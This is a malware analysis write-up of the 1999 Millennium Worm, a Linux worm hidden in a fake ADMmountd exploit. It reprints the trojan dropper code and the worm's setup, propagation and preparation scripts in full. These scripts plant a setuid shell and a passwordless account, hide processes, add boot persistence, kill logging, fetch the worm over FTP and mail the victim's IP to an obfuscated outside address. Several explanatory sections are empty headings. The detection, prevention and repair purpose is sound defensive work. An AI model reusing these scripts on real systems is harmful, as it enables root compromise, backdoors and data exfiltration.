Origin and Brief Analysis of the Millennium Worm
Max Vision <vision@whitehats.com> 
SUMMARY

The Millennium Internet Worm is a collection of scripts and programs whose function is to exploit common remote vulnerabilities in linux systems in order to gain access and propagate itself throughout the net. The Millennium Worm discovered currently uses Linux specific x86 remote exploits for the imap4 v10.X, Qualcomm popper, bind with iquery, and rpc.mountd services. This worm does one thing that we can appreciate, which is to fix the security holes. It has been reported to have infected at least one person in the wild.

ORIGIN

Our first contact with the "Millenium Worm" was as a hidden payload in an trojan that claimed to be the ADMmountd2 remote exploit for the linux rpc.mountd service. ADM has publicly denied having created or released the trojan, and have included the trojan in their archive of fake releases [located at ftp://adm.freelsd.net/ADM/FAKES/ maintained by ndubee@df.ru].

The trojan is composed of a slightly modified ADMmountd exploit, with wording changed to make it appear new, and the hidden worm payload within the source code of the module ADMgetip.c. ADM has restricted access to the trojan code in their archive, so it is presented here, for the purpose of analysis and educational use. You can use this code to follow along with the present writeup. ADMgetip-TROJAN-VERSION.c. The version found in the wild had the datestamp Aug 15 1999.

LIFECYCLE: Initial Trojan

The mworm.tgz archive that contains the Millenium Worm is first created by the trojaned routine from the exploit. The trojan exploit code first writes it's payload to the file /var/tmp/tmp, extracts the contents, and then executes a startup script called wormup. The payload is a uuencoded archive called mworm.tgz, and is extracted by the following code:
 

 

Trojan Code from ADMgetip.c 
FILE *fp=fopen("/var/tmp/tmp","w");
if(getuid()!=0) { fprintf(stderr,"operation not permitted\n"); exit(0); }
fprintf(fp,"begin-base64 644 mworm.tgz
H4sIANpU/TYAA+xaD3CUx3XfOx1wHALEHxts4/hDRrYE0vHdSQJkgQsIYWhk
UCSQHSM4n+6+4ztxujvfHypiuwEr1DqEYsWeTp1MUhOctEnr6biMnSbFY8vA
YNyBlGB3ShonZVy3ORmSIZgabMtcf293v7vvOwk7k4k7k5l8o3f7vd23b9++

...  [ large uuencoded mworm.tgz here ]

emgL0uE1iuMHR6u1MaA8jUhjOHm2+OzzGLqoNLv0SRpBuNS6XmDYdwe6Z55f
bYCEt3q80+XpdMU1NM8J2FDCra2crXTRduAMD0Johcwe8ODFVzDnnwNKJcF8
ivJ+7s3IgAEDBgwYMGDAgAEDBgwYMGDAgAEDPxS+AlHjZQIA+AIA
====\n");
system("( cd /var/tmp;uudecode < tmp ; sleep 1; tar xzvf mworm.tgz;\
 ./wormup ) >/dev/null 2>/dev/null &");

Note that it does not extract if the user isn't uid 0. The extracted mworm.tgz creates the following files: 
 
Directory of /var/tmp
-rw-r--r--   1 root     root        51564 Aug 17 22:21 mworm.tgz
-rwxr-xr-x   1 root     root         8647 Dec 31  1999 Hnamed*
-rwxr-xr-x   1 root     root         5173 Dec 31  1999 Hnamed.c*
-rwxr-xr-x   1 root     root          477 Dec 31  1999 IP*
-rwxr-xr-x   1 root     root         1728 Dec 31  1999 README-ADMINS*
-rwxr-xr-x   1 root     root         5749 Dec 31  1999 bd*
-rwxr-xr-x   1 root     root         1340 Dec 31  1999 bd.c*
-rwxr-xr-x   1 root     root            0 Dec 31  1999 cmd*
-rwxr-xr-x   1 root     root         5292 Dec 31  1999 ftpscan*
-rwxr-xr-x   1 root     root          911 Dec 31  1999 ftpscan.c*
-rwxr-xr-x   1 root     root         8750 Dec 31  1999 ftpx*
-rwxr-xr-x   1 root     root         5108 Dec 31  1999 ftpx.c*
-rwxr-xr-x   1 root     root         2398 Dec 31  1999 getip.c*
-rwxr-xr-x   1 root     root         6436 Dec 31  1999 im*
-rwxr-xr-x   1 root     root         2634 Dec 31  1999 im.c*
-rwxr-xr-x   1 root     root          151 Dec 31  1999 infect*
-rwxr-xr-x   1 root     root            1 Dec 31  1999 infected*
-rwxr-xr-x   1 root     root         2755 Dec 31  1999 ip_icmp.h*
-rwxr-xr-x   1 root     root         6175 Dec 31  1999 mount.h*
-rwxr-xr-x   1 root     root         5152 Dec 31  1999 mount.x*
-rwxr-xr-x   1 root     root         2222 Dec 31  1999 mount_clnt.c*
-rwxr-xr-x   1 root     root         3178 Dec 31  1999 mount_svc.c*
-rwxr-xr-x   1 root     root         2366 Dec 31  1999 mount_xdr.c*
-rwxr-xr-x   1 root     root        13048 Dec 31  1999 mountd*
-rwxr-xr-x   1 root     root         7723 Dec 31  1999 mountd.c*
-rwxr-xr-x   1 root     root          668 Dec 31  1999 mwd*
-rwxr-xr-x   1 root     root          561 Dec 31  1999 mwd-ftp*
-rwxr-xr-x   1 root     root          448 Dec 31  1999 mwd-imap*
-rwxr-xr-x   1 root     root          355 Dec 31  1999 mwd-mountd*
-rwxr-xr-x   1 root     root          529 Dec 31  1999 mwd-pop*
-rwxr-xr-x   1 root     root          755 Dec 31  1999 mwi*
-rwxr-xr-x   1 root     root          844 Dec 31  1999 mworm*
-rwxr-xr-x   1 root     root         4617 Dec 31  1999 mwr*
-rwxr-xr-x   1 root     root          407 Dec 31  1999 mwr.c*
-rwxr-xr-x   1 root     root         5849 Dec 31  1999 mws*
-rwxr-xr-x   1 root     root         1522 Dec 31  1999 mws.c*
-rwxr-xr-x   1 root     root         1439 Dec 31  1999 pgp*
-rwxr-xr-x   1 root     root         1226 Dec 31  1999 prepare*
-rwxr-xr-x   1 root     root         5430 Dec 31  1999 q*
-rwxr-xr-x   1 root     root         1350 Dec 31  1999 q.c*
-rwxr-xr-x   1 root     root         6785 Dec 31  1999 qp*
-rwxr-xr-x   1 root     root         2886 Dec 31  1999 qp.c*
-rwxr-xr-x   1 root     root         5680 Dec 31  1999 remotecmd*
-rwxr-xr-x   1 root     root         1834 Dec 31  1999 remotecmd.c*
-rwxr-xr-x   1 root     root         7286 Dec 31  1999 test*
-rwxr-xr-x   1 root     root         4355 Dec 31  1999 test.c*
-rwxr-xr-x   1 root     root         1037 Dec 31  1999 wormup*

The first thing after the archive is extracted to /var/tmp is the execution of the "wormup" script. The contents are shown below:
 
wormup
#!/bin/sh
# MILLENNIUM WORM SETUP SCRIPT
# ./wormup -dist = create a new build
# ./wormup & = install the worm (root)
if [ x$1 = "x-dist" ]
then
echo "Creating Millennium Worm distribution."
indent *.c
rm -f *~
echo -n "Compiling: "
for C in Hnamed q bd im qp ftpscan mwr remotecmd ftpx mws test
do
rm -f $C
gcc -Wall -O2 ${C}.c -o $C
echo -n $C" "
done
rm -f mountd
rpcgen -C mount.x && gcc -Wall -O2 mountd.c -o mountd \
>/dev/null 2>/dev/null
echo "mountd ..done"
echo -n "Fixing misc. file stuff... "
printf "" > cmd
printf "0" > infected
chmod 755 *
touch -t 010100002000.00 *
echo "done."
rm -f mworm.tgz
tar czf mworm.tgz *
echo "Finished. mworm.tgz recreated."
exit 0
fi
if [ $UID != 0 ] ; then
echo You need root to screw up this machine, sorry.
exit 0
fi
cp /bin/sh /bin/.mwsh && chmod 4755 /bin/.mwsh
mkdir /tmp/.... && cp mworm.tgz /tmp/....
echo mw::2222:555:millennium worm:/:/bin/sh >>/etc/passwd
cd /tmp/.... && tar xzvf mworm.tgz
./mworm >/dev/null 2>/dev/null &
echo "Millennium Worm(tm). Phear thy unix like thyself."

There is a "distribution" routine (highlighted in blue) that is not run by default. It performs the following functions:

LIFECYCLE: Localhost 

When initiated as a trojan in the fake exploit, the Millennium worm will first run the "wormup" script and accomlish the following:

The following events occur in the course of the worm script running on the system: LIFECYCLE: Network 

Whoever runs the trojan exploit as root will become infected by the worm and will also cause it to become active and start trying to spread. Note that the startup script has a "-dist" option that is not immediately used. The startup script performs the following functions:


mworm
#!/bin/.mwsh
# Millennium Worm by Anonymous
# If you found this on your machine, but didn't download it
# well.. you have a problem :)
export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."
export IP_A=`./IP`

./prepare for your d00m mortalz

cat << _EOF_ > cmd
mw
mw
mw
mw
mw
/bin/.mwsh -c "/usr/sbin/named" &
export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."
mkdir /tmp/....
cd /tmp/....
if [ -f /tmp/.X12 ]
then
logout
fi
ftp $IP_A
mw


cd /tmp/....
get mworm.tgz
bye
tar xvzf mworm.tgz
touch /tmp/.X12
nohup ./mworm &
./IP | mail `printf "\x74\x72\x61\x78\x33\x31\x33\x33\x37\x40\
\x68\x6f\x74\x6d\x61\x69\x6c\x2e\x63\x6f\x6d"`
logout
_EOF_

./mwd &
./mwd-pop &
./mwd-imap &
./mwd-mountd &
./mwd-ftp &
sleep 60
nohup ./mwd &
nohup ./mwd-pop &
nohup ./mwd-imap &
nohup ./mwd-mountd &
nohup ./mwd-ftp &

/bin/.mwsh -c ./bd

This script seems to be the heart of the worm. It performs the following actions:


prepare
#!/bin/.mwsh
# Millennium Worm Preparation File
# This sets up the stuff to make sure your
# machine will be owned in a neat and proper way ;D

export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."

if [ -f /bin/.ps ]
then
printf ""
else
./README-ADMINS >/dev/null 2>/dev/null &
mv /bin/ps /bin/.ps;echo "/bin/.ps \$* | grep -v ps | grep -v mw | \
grep -v grep" >> /bin/ps ; chmod 755 /bin/ps
if [ -f /etc/rc.d/rc.local ]
then
echo "( sleep 10 ; cd /tmp/..../ ; ./mworm ) >>/dev/null & " \
>> /etc/rc.d/rc.local
else
echo "( sleep 10 ; cd /tmp/..../ ; ./mworm ) >>/dev/null & " \
>> /etc/profile
fi
chattr +ia /tmp/..../*.c /tmp/..../mwd* /tmp/..../prepare /bin/.mwsh
chattr +ia /etc/rc.d/rc.local /etc/profile /tmp/..../mwo* /tmp/..../IP
chattr -ia /tmp/..../mount_*.c
fi

killall -q -9 syslogd

gcc -Wall -O2 Hnamed.c -o Hnamed
gcc -Wall -O2 mwr.c -o mwr
gcc -Wall -O2 q.c -o q
gcc -Wall -O2 remotecmd.c -o remotecmd
gcc -Wall -O2 test.c -o test
gcc -Wall -O2 bd.c -o bd
gcc -Wall -O2 im.c -o im
gcc -Wall -O2 qp.c -o qp
gcc -Wall -O2 mws.c -o mws
gcc -Wall -O2 ftpscan.c -o ftpscan
gcc -Wall -O2 ftpx.c -o ftpx
rpc=`which rpcgen`
which rpcgen && $rpc -C mount.x && gcc -Wall -O2 mountd.c -o mountd

/bin/.mwsh -c ./bd &

The prepare script shown above performs the following functions:

Detection

Host based:

Network based: Prevention

UPGRADE. The Millennium Worm spreads by remotely exploiting vulnerabilities in earlier versions of certain system software. If you upgrade your software to a newer release that is not vulnerable to these particular holes, then you will be effectively immune to this worm. Please note, however, that it is a trivial matter for attackers to create variations of this worm, using other vulnerabilities including ones affecting other platforms than linux. It is always best practice to keep your system and network software current, and watch public security forums for new information that could affect your operating environment.

For Redhat users, refer to http://www.redhat.com/errata/

Repair

To repair an existing infection from the Millennium Worm, you would need to take the following steps:

If you have been infected by the worm (see Detection above) then you have a fairly large problem. Killing the worms processess, deleteing the files, and removing the mw user from the password file only cleans the known part of this attack. The unfortunate issue is that your system has been compromised at the root level, and your IP address has been sent to an attacker. They could have logged in and done any number of things. A good starting point for your path to recovery is CERT's famous "Steps for Recovering from a UNIX Root Compromise".